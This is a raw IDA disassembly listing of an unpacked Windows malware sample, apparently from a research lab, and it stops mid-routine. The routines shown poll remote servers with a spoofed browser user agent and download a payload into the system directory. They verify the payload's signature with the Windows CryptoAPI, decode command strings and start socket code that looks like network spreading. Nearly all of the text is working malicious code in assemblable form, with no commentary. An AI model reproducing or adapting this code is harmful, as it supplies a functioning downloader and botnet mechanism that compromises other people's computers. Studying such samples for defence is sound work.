;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	F1B5C2E72F674CB05B687AC3706A6B36

; File Name   :	u:\work\f1b5c2e72f674cb05b687ac3706a6b36_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	30900000
; Section 1. (virtual address 00001000)
; Virtual size			: 00004000 (  16384.)
; Section size in file		: 00004000 (  16384.)
; Offset to raw	data for section: 00001000
; Flags	E0000080: Bss Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX0		segment	para public 'CODE' use32
		assume cs:UPX0
		;org 30901000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
dword_30901000	dd 77DD590Bh		; DATA XREF: sub_3090282C+1Ar
dword_30901004	dd 77DD59F0h		; DATA XREF: sub_3090282C+38r
dword_30901008	dd 77DD23D7h		; DATA XREF: sub_309027D3+3Er
dword_3090100C	dd 77DD22EAh		; DATA XREF: sub_3090279E+14r
					; sub_309027D3+1Dr
dword_30901010	dd 77DD5C55h		; DATA XREF: sub_3090279E+24r
dword_30901014	dd 77DD189Ah		; DATA XREF: sub_3090279E+2Dr
					; sub_309027D3+4Er ...
dword_30901018	dd 77E2A571h		; DATA XREF: sub_3090235D+123r
dword_3090101C	dd 77DE089Eh		; DATA XREF: sub_30901752+17r
dword_30901020	dd 77DE07A3h		; DATA XREF: sub_30901752+30r
dword_30901024	dd 77DE0D79h		; DATA XREF: sub_30901752+4Dr
dword_30901028	dd 77DE0343h		; DATA XREF: sub_30901752+5Br
dword_3090102C	dd 77DE0AF0h		; DATA XREF: sub_30901736+8r
dword_30901030	dd 77DE042Eh		; DATA XREF: sub_30901736+12r
dword_30901034	dd 77DDEBA2h		; DATA XREF: sub_309016E7+6r
dword_30901038	dd 77DE0BB2h		; DATA XREF: sub_309016E7+3Dr
		align 10h
dword_30901040	dd 77E79E34h		; DATA XREF: sub_30902C03+Br
dword_30901044	dd 77E7980Ah		; DATA XREF: sub_30902BEF+Dr
dword_30901048	dd 77E7A099h		; DATA XREF: sub_30902AB1+17r
dword_3090104C	dd 77E76A2Eh		; DATA XREF: sub_30902AB1+E9r
dword_30901050	dd 77E6BD13h		; DATA XREF: sub_309029E5+71r
dword_30901054	dd 77E684C6h		; DATA XREF: sub_309029E5+B0r
dword_30901058	dd 77EBB1E7h		; DATA XREF: sub_30902C7Cr
dword_3090105C	dd 77EBA595h		; DATA XREF: sub_30902C76r
dword_30901060	dd 77E616B4h		; DATA XREF: sub_3090287F+9Br
dword_30901064	dd 77EBA6E9h		; DATA XREF: sub_30902C70r
dword_30901068	dd 77E73167h		; DATA XREF: sub_30902663+13r
					; sub_30902AB1+8Fr
dword_3090106C	dd 77E777EFh		; DATA XREF: sub_30902514+3Fr
					; sub_3090259C+58r
dword_30901070	dd 77E737DEh		; DATA XREF: sub_3090235D+2Dr
dword_30901074	dd 77E79D5Bh		; DATA XREF: sub_30902349+8r
dword_30901078	dd 77E79D8Ch		; DATA XREF: sub_309011A0+EDr
dword_3090107C	dd 77E77963h		; DATA XREF: sub_309011A0+B9r
					; sub_309011A0+F6r ...
dword_30901080	dd 77E7A837h		; DATA XREF: sub_309011A0+8Fr
					; sub_3090216F+57r
dword_30901084	dd 77E74672h		; DATA XREF: sub_309011A0+5Ar
					; sub_30901422+64r ...
dword_30901088	dd 77E74155h		; DATA XREF: sub_309011A0+3Dr
					; sub_309029E5+40r
dword_3090108C	dd 77E704FCh		; DATA XREF: sub_309011A0+37r
					; sub_309029E5+1Br
dword_30901090	dd 77E7513Ch		; DATA XREF: sub_309015C7+29r
dword_30901094	dd 77E61BE6h		; DATA XREF: sub_3090169C+3Er
					; sub_309017B9+16Cr ...
dword_30901098	dd 77E73BEFh		; DATA XREF: sub_309017B9+4Fr
dword_3090109C	dd 77E79C90h		; DATA XREF: sub_30901D20+4Dr
dword_309010A0	dd 77E7A5FDh		; DATA XREF: sub_30901D20+13r
					; sub_30901DA8+2Cr
dword_309010A4	dd 77E805D8h		; DATA XREF: sub_30901D20+Dr
					; sub_3090235D+BCr
dword_309010A8	dd 77E61A90h		; DATA XREF: sub_30901DA8+BCr
dword_309010AC	dd 77E706B7h		; DATA XREF: sub_30901DA8+8Ar
					; sub_3090287F+92r
dword_309010B0	dd 77E79F93h		; DATA XREF: sub_30901DA8+26r
					; UPX0:309022E1r
dword_309010B4	dd 77E7751Ah		; DATA XREF: sub_30901EB3+12r
dword_309010B8	dd 77E7C2C4h		; DATA XREF: sub_30901EE1+8r
dword_309010BC	dd 77E7AC37h		; DATA XREF: sub_30901EF0+12r
					; sub_30901F0A+12r
dword_309010C0	dd 77E61BB8h		; DATA XREF: sub_30901F5B+38r
dword_309010C4	dd 77E74A3Bh		; DATA XREF: sub_30902006+13r
dword_309010C8	dd 77E73AB3h		; DATA XREF: sub_30902006+8r
dword_309010CC	dd 77E73C49h		; DATA XREF: sub_30902036+12Ar
					; sub_3090216F+66r ...
dword_309010D0	dd 77E78B82h		; DATA XREF: sub_3090216F+92r
dword_309010D4	dd 77E793EFh		; DATA XREF: sub_3090216F+6Er
dword_309010D8	dd 77E75CB5h		; DATA XREF: UPX0:3090231Br
					; sub_309029E5+C3r
dword_309010DC	dd 77F5157Dh		; DATA XREF: UPX0:3090230Cr
dword_309010E0	dd 77E73628h		; DATA XREF: UPX0:309022F1r
					; sub_309029E5+Fr
		align 8
dword_309010E8	dd 77C35280h		; DATA XREF: sub_30901EB3+22r
dword_309010EC	dd 77C42E10h		; DATA XREF: sub_30902C32r
dword_309010F0	dd 77C43710h		; DATA XREF: sub_30902C2Cr
dword_309010F4	dd 77C43490h		; DATA XREF: sub_30902C26r
dword_309010F8	dd 77C3528Dh		; DATA XREF: sub_3090169C+1Br
					; sub_30901F2B:loc_30901F3Cr ...
; ---------------------------------------------------------------------------


loc_309010FC:				; DATA XREF: UPX0:loc_30902C20r
		mov	al, 3Eh
		retn
; ---------------------------------------------------------------------------
		db 77h
dword_30901100	dd 77C43AB0h		; DATA XREF: sub_30901422+3Cr
					; sub_30902036:loc_30902067r ...
dword_30901104	dd 77C43500h		; DATA XREF: sub_30901316+37r
					; sub_30901422+AAr
		dd 0
dword_3090110C	dd 77D4BDCAh		; DATA XREF: sub_30901DA8+5Dr
dword_30901110	dd 77D4456Bh		; DATA XREF: sub_30901DA8+67r
dword_30901114	dd 77D45CBCh		; DATA XREF: sub_30901DA8+7Ar
dword_30901118	dd 77D4C96Ah		; DATA XREF: sub_309015C7+5Dr
					; sub_309015C7+77r ...
		align 10h
dword_30901120	dd 76214750h		; DATA XREF: sub_309011A0+A9r
					; sub_309015C7+9Dr
dword_30901124	dd 7620AFB6h		; DATA XREF: sub_309011A0+18r
					; sub_309015C7+89r
dword_30901128	dd 76204E4Dh		; DATA XREF: sub_309015C7+C2r
dword_3090112C	dd 762211EFh		; DATA XREF: sub_30901FF0+8r
					; UPX0:309026F3r
dword_30901130	dd 7620BD61h		; DATA XREF: sub_309011A0+DBr
					; sub_309015C7+B0r
		align 8
dword_30901138	dd 71AB41DAh		; DATA XREF: sub_309022B3+10r
dword_3090113C	dd 71AB3ECEh		; DATA XREF: sub_3090216F+100r
dword_30901140	dd 71AB5DE2h		; DATA XREF: sub_3090216F+10Dr
dword_30901144	dd 71AB868Dh		; DATA XREF: sub_3090216F+120r
dword_30901148	dd 71AB32CAh		; DATA XREF: sub_30901FB1+Cr
dword_3090114C	dd 71AB1740h		; DATA XREF: sub_30901FB1+17r
dword_30901150	dd 71AB2BBFh		; DATA XREF: sub_30901FB1+25r
dword_30901154	dd 71AB3C22h		; DATA XREF: sub_309017B9+2Br
					; sub_3090216F+ACr
dword_30901158	dd 71AB401Ch		; DATA XREF: sub_309017B9+44r
					; sub_30902663+Dr
dword_3090115C	dd 71AB1746h		; DATA XREF: sub_309017B9+147r
					; sub_3090216F+F0r
dword_30901160	dd 71AB3E5Dh		; DATA XREF: sub_309017B9+15Dr
dword_30901164	dd 71AB1AF4h		; DATA XREF: sub_309017B9+17Br
					; sub_30902036+67r ...
dword_30901168	dd 71AB5690h		; DATA XREF: sub_309017B9+1A4r
					; sub_309017B9+1D8r ...
dword_3090116C	dd 71AB8629h		; DATA XREF: sub_309017B9+550r
					; sub_30902036+11Br
dword_30901170	dd 71AB1A6Dh		; DATA XREF: sub_309017B9+559r
					; sub_30902036+122r
		align 8
dword_30901178	dd 0FFFFFFFFh, 0	; DATA XREF: sub_30901422+5o
		dd offset nullsub_1
		align 8
dword_30901188	dd 0FFFFFFFFh, 0	; DATA XREF: sub_3090235D+5o
		dd offset nullsub_2
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_309011A0	proc near		; CODE XREF: sub_30901422+16Dp

var_110		= byte ptr -110h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 110h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	1
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible; MSIE	6.0; Wind"...
		call	dword_30901124	; InternetOpenA
		mov	ebx, eax
		cmp	ebx, esi
		jnz	short loc_309011CB
		push	1
		jmp	loc_30901261
; ---------------------------------------------------------------------------


loc_309011CB:				; CODE XREF: sub_309011A0+22j
		lea	eax, [ebp+var_110]
		push	104h
		push	eax
		call	dword_3090108C	; GetSystemDirectoryA
		mov	edi, dword_30901088
		lea	eax, [ebp+var_110]
		push	offset dword_30904230
		push	eax
		call	edi	; lstrcat
		lea	eax, [ebp+var_110]
		push	6
		push	eax
		call	dword_30901084	; lstrlen
		lea	eax, [ebp+eax+var_110]
		push	eax
		call	sub_30901F2B
		pop	ecx
		lea	eax, [ebp+var_110]
		pop	ecx
		push	offset dword_30904228
		push	eax
		call	edi	; lstrcat
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_110]
		push	40000000h
		push	eax
		call	dword_30901080	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_30901241
		push	2
		jmp	short loc_30901261
; ---------------------------------------------------------------------------


loc_30901241:				; CODE XREF: sub_309011A0+9Bj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_0]
		push	ebx
		call	dword_30901120	; InternetOpenUrlA
		cmp	eax, esi
		mov	[ebp+arg_0], eax
		jnz	short loc_30901264
		push	[ebp+var_4]
		call	dword_3090107C	; CloseHandle
		push	3


loc_30901261:				; CODE XREF: sub_309011A0+26j
					; sub_309011A0+9Fj
		pop	eax
		jmp	short loc_309012B5
; ---------------------------------------------------------------------------


loc_30901264:				; CODE XREF: sub_309011A0+B4j
		mov	edi, 100000h
		push	edi
		call	sub_30902BEF
		mov	ebx, eax
		pop	ecx
		lea	eax, [ebp+var_8]
		push	eax
		push	edi
		push	ebx
		push	[ebp+arg_0]
		call	dword_30901130	; InternetReadFile
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		push	[ebp+var_8]
		push	ebx
		push	[ebp+var_4]
		call	dword_30901078	; WriteFile
		push	[ebp+var_4]
		call	dword_3090107C	; CloseHandle
		lea	eax, [ebp+var_110]
		push	5
		push	eax
		call	sub_30901F5B
		push	ebx
		call	sub_30902C03
		add	esp, 0Ch
		xor	eax, eax


loc_309012B5:				; CODE XREF: sub_309011A0+C2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_309011A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_309012BA	proc near		; CODE XREF: sub_30901422+F8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		mov	ecx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		push	edi
		or	edi, 0FFFFFFFFh
		inc	eax
		push	0Fh
		lea	esi, [ecx+1]
		sub	edi, ecx
		pop	ecx


loc_309012D1:				; CODE XREF: sub_309012BA+56j
		mov	dl, [eax]
		mov	bl, [eax-1]
		add	edx, ecx
		add	bl, cl
		sar	edx, 4
		and	dl, 3
		sub	dl, [esp+0Ch+arg_8]
		shl	bl, 2
		or	dl, bl
		mov	[esi-1], dl
		mov	dl, [eax+1]
		mov	bl, [eax]
		dec	dl
		add	bl, cl
		and	dl, cl
		sub	dl, [esp+0Ch+arg_8]
		add	eax, 3
		shl	bl, 4
		and	bl, 0F0h
		or	dl, bl
		mov	[esi], dl
		inc	esi
		inc	esi
		lea	edx, [edi+esi]
		cmp	edx, 30h
		jl	short loc_309012D1
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_309012BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_30901316	proc near		; CODE XREF: sub_3090139B+27p

var_38		= byte ptr -38h
var_1C		= byte ptr -1Ch
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	ebx
		push	esi
		push	edi
		push	6
		pop	ecx
		mov	esi, offset aAbcdefghijklmn ; "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
		lea	edi, [ebp+var_1C]
		push	6
		rep movsd
		movsw
		movsb
		pop	ecx
		mov	esi, offset aAbcdefghijkl_0 ; "abcdefghijklmnopqrstuvwxyz"
		lea	edi, [ebp+var_38]
		mov	ebx, [ebp+arg_4]
		rep movsd
		movsw
		test	ebx, ebx
		movsb
		jge	short loc_30901349
		add	ebx, 1Ah


loc_30901349:				; CODE XREF: sub_30901316+2Ej
		movsx	edi, [ebp+arg_0]
		mov	esi, dword_30901104
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	esi	; strchr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_30901373
		lea	ecx, [ebp+var_1C]
		push	1Ah
		sub	eax, ecx
		pop	ecx
		add	eax, ebx
		cdq
		idiv	ecx
		mov	al, [ebp+edx+var_1C]
		jmp	short loc_30901396
; ---------------------------------------------------------------------------


loc_30901373:				; CODE XREF: sub_30901316+48j
		lea	eax, [ebp+var_38]
		push	edi
		push	eax
		call	esi	; strchr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_30901393
		lea	ecx, [ebp+var_38]
		push	1Ah
		sub	eax, ecx
		pop	ecx
		add	eax, ebx
		cdq
		idiv	ecx
		mov	al, [ebp+edx+var_38]
		jmp	short loc_30901396
; ---------------------------------------------------------------------------


loc_30901393:				; CODE XREF: sub_30901316+68j
		mov	al, [ebp+arg_0]


loc_30901396:				; CODE XREF: sub_30901316+5Bj
					; sub_30901316+7Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_30901316	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3090139B	proc near		; CODE XREF: sub_30901422+D6p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		mov	al, [eax]
		test	al, al
		jz	short loc_309013F8
		mov	edi, [ebp+arg_0]
		push	ebx


loc_309013B0:				; CODE XREF: sub_3090139B+58j
		sub	al, 2
		inc	[ebp+arg_4]
		mov	bl, al
		mov	eax, esi
		neg	eax
		mov	byte ptr [ebp+arg_0], bl
		push	eax
		push	[ebp+arg_0]
		call	sub_30901316
		mov	[edi], al
		pop	ecx
		inc	edi
		cmp	bl, 61h
		pop	ecx
		jl	short loc_309013DC
		cmp	bl, 7Ah
		jg	short loc_309013DC
		movsx	esi, bl
		sub	esi, 61h


loc_309013DC:				; CODE XREF: sub_3090139B+34j
					; sub_3090139B+39j
		cmp	bl, 41h
		jl	short loc_309013EC
		cmp	bl, 5Ah
		jg	short loc_309013EC
		movsx	esi, bl
		sub	esi, 41h


loc_309013EC:				; CODE XREF: sub_3090139B+44j
					; sub_3090139B+49j
		mov	eax, [ebp+arg_4]
		mov	al, [eax]
		test	al, al
		jnz	short loc_309013B0
		pop	ebx
		jmp	short loc_309013FB
; ---------------------------------------------------------------------------


loc_309013F8:				; CODE XREF: sub_3090139B+Fj
		mov	edi, [ebp+arg_0]


loc_309013FB:				; CODE XREF: sub_3090139B+5Bj
		and	byte ptr [edi],	0
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_3090139B	endp


; =============== S U B	R O U T	I N E =======================================



sub_30901402	proc near		; CODE XREF: sub_30901422+104p

arg_0		= dword	ptr  4

		xor	eax, eax
		xor	ecx, ecx


loc_30901406:				; CODE XREF: sub_30901402+12j
		mov	edx, [esp+arg_0]
		movzx	edx, byte ptr [ecx+edx]
		add	eax, edx
		inc	ecx
		cmp	ecx, 30h
		jl	short loc_30901406
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, edx
		add	eax, 61h
		retn
sub_30901402	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_30901422	proc near		; CODE XREF: sub_309015C7+B7p

var_174		= dword	ptr -174h
var_170		= byte ptr -170h
var_168		= byte ptr -168h
var_164		= byte ptr -164h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= byte ptr -124h
var_11C		= byte ptr -11Ch
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_30901178
		push	offset loc_30902C20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 164h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_128], 1
		and	[ebp+var_4], 0
		push	offset aZer0	; "zer0"
		push	[ebp+arg_0]
		call	dword_30901100	; strstr
		pop	ecx
		pop	ecx
		mov	edi, eax
		mov	[ebp+var_130], edi
		test	edi, edi
		jz	loc_309015A8
		add	edi, 4
		mov	[ebp+var_130], edi
		jz	loc_309015A8
		push	edi
		call	dword_30901084	; lstrlen
		mov	[ebp+var_1C], eax
		cmp	eax, 50h
		jle	loc_309015A8
		and	byte ptr [edi+100h], 0
		mov	al, [edi]
		mov	[ebp+var_168], al
		movsx	ebx, al
		sub	ebx, 61h
		mov	[ebp+var_12C], ebx
		js	loc_309015A8
		cmp	ebx, 1Ah
		jge	loc_309015A8
		inc	edi
		mov	[ebp+var_130], edi
		push	7Eh
		push	edi
		call	dword_30901104	; strchr
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+var_134], esi
		test	esi, esi
		jz	loc_309015A8
		mov	al, [esi]
		mov	[ebp+var_170], al
		and	byte ptr [esi],	0
		push	ebx
		push	edi
		lea	eax, [ebp+var_11C]
		push	eax
		call	sub_3090139B
		mov	al, [ebp+var_170]
		mov	[esi], al
		inc	esi
		mov	[ebp+var_130], esi
		xor	edi, edi
		push	edi
		lea	eax, [ebp+var_164]
		push	eax
		lea	eax, [esi+1]
		push	eax
		call	sub_309012BA
		lea	eax, [ebp+var_164]
		push	eax
		call	sub_30901402
		add	esp, 1Ch
		cmp	[esi], al
		jnz	short loc_309015A8
		push	44h
		push	offset dword_30904000
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_309016E7
		add	esp, 0Ch
		lea	eax, [ebp+var_174]
		push	eax
		push	30h
		lea	eax, [ebp+var_164]
		push	eax
		lea	eax, [ebp+var_11C]
		push	eax
		call	dword_30901084	; lstrlen
		push	eax
		lea	eax, [ebp+var_11C]
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_30901752
		add	esp, 18h
		test	eax, eax
		jnz	short loc_3090159B
		cmp	[ebp+var_174], edi
		jz	short loc_3090159B
		lea	eax, [ebp+var_11C]
		push	eax
		call	sub_309011A0
		pop	ecx
		mov	[ebp+var_128], edi


loc_3090159B:				; CODE XREF: sub_30901422+15Cj
					; sub_30901422+164j
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_30901736
		pop	ecx


loc_309015A8:				; CODE XREF: sub_30901422+4Ej
					; sub_30901422+5Dj ...
		or	[ebp+var_4], 0FFFFFFFFh
		call	nullsub_1
		mov	eax, [ebp+var_128]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_30901422	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_309015C7	proc near		; CODE XREF: sub_3090169C+14p

var_E8		= byte ptr -0E8h
var_84		= byte ptr -84h
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0E8h
		push	ebx
		push	esi
		push	edi
		push	4000h
		call	sub_30902BEF
		pop	ecx
		mov	esi, eax
		lea	eax, [ebp+var_E8]
		push	63h
		push	eax
		push	7
		push	400h
		call	dword_30901090	; GetLocaleInfoA
		xor	ebx, ebx
		cmp	[ebp+arg_4], bl
		jz	short loc_3090162F
		lea	eax, [ebp+var_E8]
		push	eax
		lea	eax, [ebp+var_84]
		push	dword_30904FBC
		push	dword_30904FD4
		push	offset aSmusmdxdnulxk ;	"smusmdxdnulxk"
		push	[ebp+arg_0]
		push	offset aHttpSIndex_php ; "http://%s/index.php?id=%s?scn=%d?inf=%d"...
		push	eax
		call	dword_30901118	; wsprintfA
		add	esp, 1Ch
		jmp	short loc_30901647
; ---------------------------------------------------------------------------


loc_3090162F:				; CODE XREF: sub_309015C7+34j
		push	[ebp+arg_0]
		lea	eax, [ebp+var_84]
		push	offset aHttpS	; "http://%s"
		push	eax
		call	dword_30901118	; wsprintfA
		add	esp, 0Ch


loc_30901647:				; CODE XREF: sub_309015C7+66j
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Co_0 ; "Mozilla/4.0 (compatible; MSIE	6.0; Wind"...
		call	dword_30901124	; InternetOpenA
		push	ebx
		mov	edi, eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_84]
		push	ebx
		push	eax
		push	edi
		call	dword_30901120	; InternetOpenUrlA
		mov	ebx, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	2000h
		push	esi
		push	ebx
		call	dword_30901130	; InternetReadFile
		push	esi
		call	sub_30901422
		push	esi
		call	sub_30902C03
		mov	esi, dword_30901128
		pop	ecx
		pop	ecx
		push	ebx
		call	esi	; InternetCloseHandle
		push	edi
		call	esi	; InternetCloseHandle
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_309015C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_3090169C	proc near		; DATA XREF: sub_3090235D+101o
		push	esi


loc_3090169D:				; CODE XREF: sub_3090169C+49j
		xor	esi, esi


loc_3090169F:				; CODE XREF: sub_3090169C+47j
		inc	esi
		inc	esi
		mov	al, byte_30904080[esi+esi*4]
		push	eax
		push	off_30904081[esi+esi*4]
		call	sub_309015C7
		pop	ecx
		pop	ecx
		call	dword_309010F8	; rand
		push	3
		cdq
		pop	ecx
		idiv	ecx
		add	esi, edx
		call	sub_30902020
		xor	edx, edx
		mov	ecx, 493E0h
		div	ecx
		add	edx, 61B48h
		push	edx
		call	dword_30901094	; Sleep
		cmp	esi, 14h
		jb	short loc_3090169F
		jmp	short loc_3090169D
sub_3090169C	endp


; =============== S U B	R O U T	I N E =======================================



sub_309016E7	proc near		; CODE XREF: sub_30901422+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, dword_30901034
		push	edi
		xor	edi, edi
		push	edi
		push	1
		push	edi
		push	edi
		push	ebx
		call	esi	; CryptAcquireContextA
		test	eax, eax
		jnz	short loc_30901714
		push	8
		push	1
		push	edi
		push	edi
		push	ebx
		call	esi	; CryptAcquireContextA
		test	eax, eax
		jnz	short loc_30901714
		push	1
		pop	eax
		jmp	short loc_30901732
; ---------------------------------------------------------------------------


loc_30901714:				; CODE XREF: sub_309016E7+19j
					; sub_309016E7+26j
		lea	eax, [ebx+4]
		push	eax
		push	edi
		push	edi
		push	[esp+18h+arg_8]
		push	[esp+1Ch+arg_4]
		push	dword ptr [ebx]
		call	dword_30901038	; CryptImportKey
		neg	eax
		sbb	eax, eax
		and	al, 0FEh
		inc	eax
		inc	eax


loc_30901732:				; CODE XREF: sub_309016E7+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_309016E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_30901736	proc near		; CODE XREF: sub_30901422+180p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+4]
		call	dword_3090102C	; CryptDestroyKey
		push	0
		push	dword ptr [esi]
		call	dword_30901030	; CryptReleaseContext
		xor	eax, eax
		pop	esi
		retn
sub_30901736	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_30901752	proc near		; CODE XREF: sub_30901422+152p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		lea	eax, [ebp+arg_0]
		xor	edi, edi
		push	eax
		push	edi
		push	edi
		push	8003h
		push	dword ptr [esi]
		call	dword_3090101C	; CryptCreateHash
		test	eax, eax
		jnz	short loc_30901778
		push	1
		pop	eax
		jmp	short loc_309017B5
; ---------------------------------------------------------------------------


loc_30901778:				; CODE XREF: sub_30901752+1Fj
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_30901020	; CryptHashData
		test	eax, eax
		jnz	short loc_30901791
		push	2
		pop	edi
		jmp	short loc_309017AA
; ---------------------------------------------------------------------------


loc_30901791:				; CODE XREF: sub_30901752+38j
		push	edi
		push	edi
		push	dword ptr [esi+4]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_0]
		call	dword_30901024	; CryptVerifySignatureA
		mov	ecx, [ebp+arg_14]
		mov	[ecx], eax


loc_309017AA:				; CODE XREF: sub_30901752+3Dj
		push	[ebp+arg_0]
		call	dword_30901028	; CryptDestroyHash
		mov	eax, edi


loc_309017B5:				; CODE XREF: sub_30901752+24j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_30901752	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_309017B9	proc near		; CODE XREF: sub_309024B0+36p
					; sub_30902514+48p ...

var_89E4	= byte ptr -89E4h
var_897C	= byte ptr -897Ch
var_690C	= byte ptr -690Ch
var_689C	= byte ptr -689Ch
var_5DD8	= byte ptr -5DD8h
var_4834	= byte ptr -4834h
var_4833	= byte ptr -4833h
var_37A0	= byte ptr -37A0h
var_2CDC	= byte ptr -2CDCh
var_2CDB	= byte ptr -2CDBh
var_2CD8	= byte ptr -2CD8h
var_24F4	= byte ptr -24F4h
var_24E4	= byte ptr -24E4h
var_21C0	= byte ptr -21C0h
var_21BC	= byte ptr -21BCh
var_21B0	= byte ptr -21B0h
var_1F28	= byte ptr -1F28h
var_1EAC	= byte ptr -1EACh
var_16DC	= byte ptr -16DCh
var_1231	= byte ptr -1231h
var_F44		= byte ptr -0F44h
var_EA4		= byte ptr -0EA4h
var_798		= dword	ptr -798h
var_788		= byte ptr -788h
var_774		= byte ptr -774h
var_730		= byte ptr -730h
var_134		= byte ptr -134h
var_133		= byte ptr -133h
var_E4		= byte ptr -0E4h
var_E1		= byte ptr -0E1h
var_B7		= byte ptr -0B7h
var_B5		= byte ptr -0B5h
var_B4		= byte ptr -0B4h
var_6C		= byte ptr -6Ch
var_4C		= byte ptr -4Ch
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 89E4h
		call	sub_30902C40
		mov	eax, dword_30904CBC
		push	ebx
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		mov	[ebp+var_14], eax
		mov	eax, dword_30904CC0
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edi
		call	dword_30901154	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_30901D19
		push	esi
		mov	esi, [ebp+arg_0]
		push	1Dh
		push	esi
		call	dword_30901158	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_6C]
		push	eax
		call	dword_30901098	; lstrcpyn
		lea	eax, [ebp+var_6C]
		push	eax
		lea	eax, [ebp+var_4C]
		push	offset loc_30904CB0
